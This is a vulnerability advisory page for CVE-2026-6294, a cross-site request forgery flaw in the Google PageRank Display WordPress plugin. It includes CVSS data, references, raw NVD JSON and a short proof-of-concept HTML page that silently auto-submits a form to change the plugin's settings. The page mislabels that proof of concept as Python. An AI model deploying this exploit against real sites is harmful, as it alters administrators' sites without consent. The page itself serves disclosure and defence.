CVE-2026-6294

Description

The Google PageRank Display plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to and including 1.4. This is due to missing nonce validation in the gpdisplay_option() function, which handles the plugin settings page. The settings form does not include a wp_nonce_field(), and the form handler does not call check_admin_referer() or wp_verify_nonce() before processing the POST request. This makes it possible for unauthenticated attackers to trick a logged-in administrator into submitting a crafted request that changes the plugin's settings (stored via update_option()), such as the display style used to render the PageRank badge.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Google PageRank Display <= 1.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-6294: CSRF in Google PageRank Display Plugin -->
<!-- Save this as an .html file and host it. When an admin visits, settings change. -->
<html>
  <body>
    <h1>Loading...</h1>
    <form action="http://target-site/wp-admin/options-general.php?page=google-pagerank-display/gpdisplay.php" method="POST">
      <!-- Example parameter to change display style -->
      <input type="hidden" name="gpdisplay_style" value="hacked_style" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6294
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6294
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6294/
[4] VulDB https://vuldb.com/cve/CVE-2026-6294
[5] https://plugins.trac.wordpress.org/browser/google-pagerank-display/tags/1.4/gpdisplay.php#L32
[6] https://plugins.trac.wordpress.org/browser/google-pagerank-display/tags/1.4/gpdisplay.php#L56
[7] https://plugins.trac.wordpress.org/browser/google-pagerank-display/trunk/gpdisplay.php#L32
[8] https://plugins.trac.wordpress.org/browser/google-pagerank-display/trunk/gpdisplay.php#L56
[9] https://www.wordfence.com/threat-intel/vulnerabilities/id/e39ebe27-7780-48b6-8dca-7da7a78fce69?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6294", "sourceIdentifier": "[email protected]", "published": "2026-04-22T09:16:26.677", "lastModified": "2026-04-22T20:22:50.570", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Google PageRank Display plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to and including 1.4. This is due to missing nonce validation in the gpdisplay_option() function, which handles the plugin settings page. The settings form does not include a wp_nonce_field(), and the form handler does not call check_admin_referer() or wp_verify_nonce() before processing the POST request. This makes it possible for unauthenticated attackers to trick a logged-in administrator into submitting a crafted request that changes the plugin's settings (stored via update_option()), such as the display style used to render the PageRank badge."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/google-pagerank-display/tags/1.4/gpdisplay.php#L32", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/google-pagerank-display/tags/1.4/gpdisplay.php#L56", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/google-pagerank-display/trunk/gpdisplay.php#L32", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/google-pagerank-display/trunk/gpdisplay.php#L56", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e39ebe27-7780-48b6-8dca-7da7a78fce69?source=cve", "source": "[email protected]"}]}}